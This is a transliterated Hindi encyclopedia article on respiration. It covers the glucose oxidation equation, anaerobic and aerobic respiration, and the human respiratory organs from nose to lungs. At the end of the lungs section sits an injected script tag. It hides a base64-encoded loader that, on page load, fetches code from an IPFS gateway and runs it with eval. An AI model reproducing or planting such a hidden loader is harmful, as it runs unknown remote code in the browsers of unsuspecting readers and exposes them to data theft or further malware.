श्वसन

(aangrezi:Respiratory) shvasan lekh mean manav sharir se sanbandhit ullekh hai. samast jivadhariyoan ko apani jaivik kriyaoan ke sanchalan hetu oorja ki avashyakata hoti hai. yah oorja sajivoan ke sharir ki sabhi jivit koshikaoan mean aauksijan dvara bhojy padarthoan ke aauksikaran se utpann hoti hai aur ATP mean sanchit ho jati hai. is kriya mean CO₂ gais bhi utpann hoti hai jo sharir se bahar nikal di jati hai. at: aauksijan ka sharir mean pravesh karana, karban dai-aauksaid(CO₂) ka sharir se bahar nikalana tatha ve sabhi rasayanik abhikriyaean jinake phalasvaroop oorja utpann hoti hai, shvasan kahalata hai.

shvasan kriya mean bhojy padarthoan ka apaghatan hota hai tatha sharir ka bhar ghatata hai, isalie yah ek apachay kriya hai. shvasan kriya mean ek anu glookoz ke aauksijan se utpann oorja tatha CO₂ ko nimnalikhit samikaran se spasht kiya ja sakata hai-

C₆H₁₂O₆ + 6O₂ - 6CO₂ + 6H₂O + 686 kilo kailori

shvasan ke prakar

bhojy padarthoan (mukhyatah glookoj) ke apaghatan ke adhar par shvasan nimnalikhit do prakar ka hota hai-

avayaviy ya an aauksi shvasan

kuchh nimnakoti ke jivoan, parajivi jivoan, yist tatha kuchh jantu ootakoan mean oorja ki prapti hetu glookoz ka laiktik aml ya ethil alkohal mean apaghatan hota hai. isamean aauksijan ka upayog nahian hota hai, isalie ise an aauksi shvasan kahate haian. rasayanik star par ise sharkara ka kinvan kahate haian. is kriya mean glookoz ke ek anu se 21-28 kilo kailori oorja prapt hoti hai. utpadit padarthoan mean CO₂ to bahar nikal jati hai tatha ethil alkohal koshikaoan mean rah jata hai.

vayaviy ya aauksi shvasan

yah uchchakoti ke jivoan mean hota hai. isamean vatavaran se aauksijan grahan ki jati hai, jo koshikaoan mean oorja utpadan ke lie glookoj ka aauksikaran karati hai. isake phalasvaroop CO₂ tatha jal utpann hote haian. isamean O₂ ka vyay hota hai jise jiv apane vatavaran se leta hai aur badale mean CO₂ vatavaran se mukt kar deta hai. ise gaisiy vinimay kahate haian. chooanki isamean aauksijan ka upayog hota hai, isalie ise aauksi shvasan kahate haian. yah kriya do charanoan mean poori hoti hai, jinhean kramash: glaikosis tatha kraib chakr kahate haian.

manushy ka shvasan tantr

manushy ke mukhy shvasanaang pheph de haian aur shesh sahayak aang haian. is prakar manushy ke shvasanaangoan mean nasika, nasamarg, grasani, svar yantr, vayunal, shvasanali tatha pheph de sammilit hote haian.

nasika evan nasamarg

nasika chehare par mukh dvar evan mathe tatha donoan netroan ke bich ubhari huee sanrachana hoti hai tatha bahari or do andakar bahm nasarandhr dvara khulati hai. ye nasarandhr nasa veshmoan mean ghulate haian. nas veshm shleshm dvara nam tatha romayukt hoti hai. nasa veshm mean vayu shuddh, nam tatha sharir ke tap ke anukool ho jati hai. nasaguha pichhe ek te de-me de ghumavadar marg mean khulati hai. jise nasamarg kahate haian. yah ubhari huee asthiyoan ke karan te da-me da hota hai tatha shleshmak kala dvara achchhadit rahata hai jo chikana shleshm shravit hota hai. nasamarg bhitar jakar grasani mean khulata hai.

svarayantr

grasani mean nigaladvar se pahale ek chhidr hota hai. ise gl aautis kahate haian. is par upasthi nirmit gh aauti dhapan paya jata hai. svarayantr ek chhote b aauks-numa hota hai. ise teantua ya adam ka eppal kahate haian. purushoan mean yah bahar se ubhara hua dikhaee deta hai. isaka nirman upasthiyoan se hota hai. yah andar ki or se shleshmak jhilli dvara dhanka rahata hai. isamean svar doriyaan hoti hai jisase dhvani utpann ki jati hai. at: svarayantr dhvani utpadak yantr hota hai.

shvas nal ya shvas nali

shvas nali kanth se ju di patali bhikti ki arddhaparadarshak lambi nalika hoti hai. yah grasanali ke adhar tal se chipaki, griva mean hoti huee vaksh guha mean pahuanchakar dahini tatha baee do chhoti shakhaoan mean vibhajit ho jati hai. in shakhaoan ko shvasaniyaan kahate haian. ye apani apani or ke pheph de mean pravesh kar jati haian. shvasanali tatha shvasaniyoan ki bhitti mean anek 'c' ke akar ke apoorn v lachile upasthiy valay hote haian. jo shvas nali tatha shvasaniyoan ko pichakane se rokate haian, aur sadaiv khule rahate haian taki inamean vayu svatantratapoorvak avagaman kar sake. pratyek shvasan chhoti nalikaoan mean nirantar vibhajit hoti huee thailivat sookshm rachana mean samapt ho jati hai, jinhean koopika ya vayu koshth kahate haian.

pheph de ya phuphphus

manushy mean do b de shankvakar pheph de pramukh shvasanaang hote haian. ye sharir ke vaksh bhag mean hnaday tatha madhyavakash ke idhar udhar vaksh ke dahine v baean bhagoan ko poori tarah ghere hue apani - apani or ki plooral guhaoan mean dayaphram ke oopar sthit hote haian. ye komal, spanji, atyant lachile aur halke gulabi rang ke hote haian. dahine pheph de mean tin pind tatha baean pheph de mean do pind hote haian. dahina pheph da baean pheph de se kuchh b da aur chau da kiantu lambaee mean kuchh chhota hota hai. donoan pheph doan ka nichala chau da avatal bhag dayaphram ke ubhare hue bhag par chipaka rahata hai. pratyek pheph da charoan or se ek patali aur dohari jhilli ke avaran se ghira rahata hai, jise plooral kala kahate haian. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

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shodh

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